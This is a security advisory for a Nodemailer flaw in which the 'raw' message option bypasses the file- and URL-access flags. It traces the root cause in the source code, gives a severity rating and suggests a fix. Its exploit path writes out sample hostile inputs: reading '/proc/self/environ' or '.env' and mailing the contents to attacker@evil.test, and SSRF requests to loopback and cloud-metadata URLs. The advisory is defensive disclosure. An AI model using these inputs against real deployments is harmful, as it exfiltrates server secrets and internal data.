GHSA-p6gq-j5cr-w38f Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message
Message-level `raw` option bypasses `disableFileAccess` / `disableUrlAccess`, enabling arbitrary file read and full-response SSRF in the sent message**Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD `4e58450eb490e5097a74b2b2cce35a8d9e21856e`)**Verdict:** CONFIRMED (local PoC, no network)SummaryNodemailer exposes `disableFileAccess` and `disableUrlAccess` so an application that passes
**untrusted** message data to the library can forbid that data from reading local files or
fetching URLs. Every attachment, alternative, `html`/`text`/`watchHtml`/`amp` and `icalEvent`
content node honors these flags. **The message-level `raw` option does not.**`MailComposer.compile()` builds the root MIME node for a `raw` message **without** threading the
two flags, so a `raw: { path: '/etc/passwd' }` or `raw: { href: 'http://169.254.169.254/…' }`
message is read / fetched anyway, and the file or HTTP-response bytes become the **actual
message that is sent** by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose
input the application intended to sandbox therefore obtains arbitrary local-file disclosure and
a full-response SSRF primitive, delivered to a recipient the same actor can choose.This is the same vulnerability class as the already-published jsonTransport advisory
**GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node, not `normalize()`), and
strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas
this affects the delivered RFC822 message for all transports.Affected component`lib/mail-composer/index.js:34-35` — root cause:The `MimeNode` is constructed with only `{ newline }`. Compare the sibling node builders
`_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode`
(`lib/mail-composer/index.js:389-527`), which all pass
`disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess`.`lib/mime-node/index.js:51-52` — the constructor derives `this.disableFileAccess`/
`this.disableUrlAccess` solely from its own `options`; children do **not** inherit a parent's
flags (`createChild`/`appendChild`, lines 175-194, pass options through verbatim).`lib/mime-node/index.js:812` — `setRaw()` content is resolved through `this._getStream(this._raw)`.`lib/mime-node/index.js:984-1010` — `_getStream` reads the file (`fs.createReadStream`, 995) or
fetches the URL (`nmfetch`, 1009) **only guarded by `this.disableFileAccess`/`this.disableUrlAccess`**,
which on the `raw` root node are `false`.Reached from the normal send flow at `lib/mailer/index.js:188`
(`mail.message = new MailComposer(mail.data).compile()`), so every transport is affected.Reachability gate (hop-by-hop)**Source.** Application calls `transporter.sendMail({ raw: <userControlled> , to: <userControlled> })`
with `disableFileAccess: true` and/or `disableUrlAccess: true` configured on the transporter
(forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per message. This is the
exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was
accepted.**Guard — the access flags.** For attachments the flag is enforced: a node created by
`_createContentNode` carries `disableFileAccess`, so `_getStream` throws `EFILEACCESS`.
**Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on its node, so
`this.disableFileAccess === false` and the guard at `mime-node:985` / `:999` is skipped.
There is no other validation between `mail.raw` and the read; `raw` content shapes
(`{path}`, `{href}`, stream, string, buffer) are accepted as-is by `setRaw`/`_getStream`.**Sink.** `fs.createReadStream(content.path)` (file disclosure) or
`nmfetch(content.href, …)` (SSRF). The resulting bytes are emitted as the message body by
`createReadStream()`, which every transport pipes to its destination
(`smtp-transport:233`, `smtp-pool/pool-resource:208`, `ses-transport:96`, `sendmail-transport:184`,
`stream-transport:67`).No guard blocks the chain; the only guard (the access flags) is structurally absent on this node.Root causeInconsistent enforcement: the access policy is applied per-`MimeNode` via constructor options and
must be re-passed at every node creation. The `raw`-message shortcut in `compile()` omits it,
while all five other node builders include it. The flags are therefore enforced for every content
type *except* the one that lets the caller supply a complete message body by path/URL.Exploit pathApplication that sandboxes untrusted mail input (`disableFileAccess`/`disableUrlAccess` set):Untrusted actor supplies `raw: { path: '/proc/self/environ' }` (or any server file:
`/app/.env`, key material, etc.) and `to: attacker@evil.test`.`compile()` builds the raw root node without the flags; the transport reads the file and sends
its contents as the message → **arbitrary server-file exfiltration to an attacker-chosen mailbox.**Alternatively `raw: { href: 'http://127.0.0.1:8080/admin' }` or a cloud metadata URL →
Nodemailer fetches it server-side and delivers the full response body in the email →
**full-response SSRF** (no blind-channel limitation).Impact**Confidentiality (High):** arbitrary local file read disclosed in the outgoing message;
full-response SSRF to internal/metadata endpoints, also disclosed in the message.**Integrity (Low):** attacker-fetched/file content is injected into the delivered mail.The two protective flags an application relies on to contain untrusted input are silently
ineffective for `raw`.PreconditionsThe application (a) passes `disableFileAccess` and/or `disableUrlAccess` (the documented sandboxing
flags) and (b) lets untrusted input influence the `raw` field (and, for maximal disclosure, `to`).
No other configuration is required; all bundled transports are affected. This mirrors the accepted
precondition of GHSA-wqvq-jvpq-h66f.Severity**AV** — message data routinely originates over the network in the apps these flags protect.**AC** — a single crafted `raw` object; deterministic.**PR** — the actor is a user whose input the app already treats as untrusted (the reason the
flags are set); not fully anonymous in the typical deployment.**UI** — no victim interaction.**S** — impact within Nodemailer's process scope.**C** — arbitrary file read **and** full-response SSRF, both delivered to an attacker-chosen
recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned
JSON; here the bytes leave the system in the sent message, so C:H is warranted.)**I** — attacker injects fetched/file bytes into the outgoing message.**A**.
Note: if a deployment fixes the recipient (`to` not attacker-controlled) the disclosure channel
narrows and the rating degrades toward the sibling's Medium; the High rating reflects the
reasonable worst case where `raw` and `to` are both untrusted.Adversarial re-read (attempts to refute)**"`raw` content is by-design trusted, so the flags shouldn't apply."** Rejected: every other
content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the
maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set"
model. The asymmetry — attachment `{path}` is blocked but `raw:{path}` is not — is the bug, and
the PoC's CONTROL case proves the flag is otherwise effective on the same file.**"The raw node inherits the flags via rootNode."** Rejected by code and by PoC: `compile():35`
constructs the node with `{ newline }` only; `MimeNode` constructor sets
`this.disableFileAccess = !!options.disableFileAccess` → `false`; `rootNode` is itself; no
inheritance exists.**"The PoC leaks for an unrelated reason."** Rejected: the CONTROL message (`attachments:[{path}]`,
same file, same transporter) returns `EFILEACCESS`; only the `raw:{path}` message leaks. The
sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only
obtainable by an actual fetch. Both observables are uniquely bound to the bypass.**"Maybe only jsonTransport (already reported) is affected."** Rejected: the PoC uses
`streamTransport` and the root cause is in `MailComposer.compile()` (`mailer:188`), shared by all
transports; jsonTransport is a different (already-fixed) path.I could not find any guard that blocks the chain; the finding survives.Proof of concept (safe, benign)`findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` — local, no network egress (loopback only),
no destructive action. Output:Run: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0 = confirmed).RemediationThread the access policy onto the `raw` root node, exactly as the other builders do:(Defense in depth: `setRaw`/`_getStream` could also refuse `{path}`/`{href}` raw content when either
flag is set, regardless of how the node was constructed.) Add a regression test asserting that
`raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS` when the flags are set, mirroring
the attachment tests.
CVSS v3.1 score: 7.1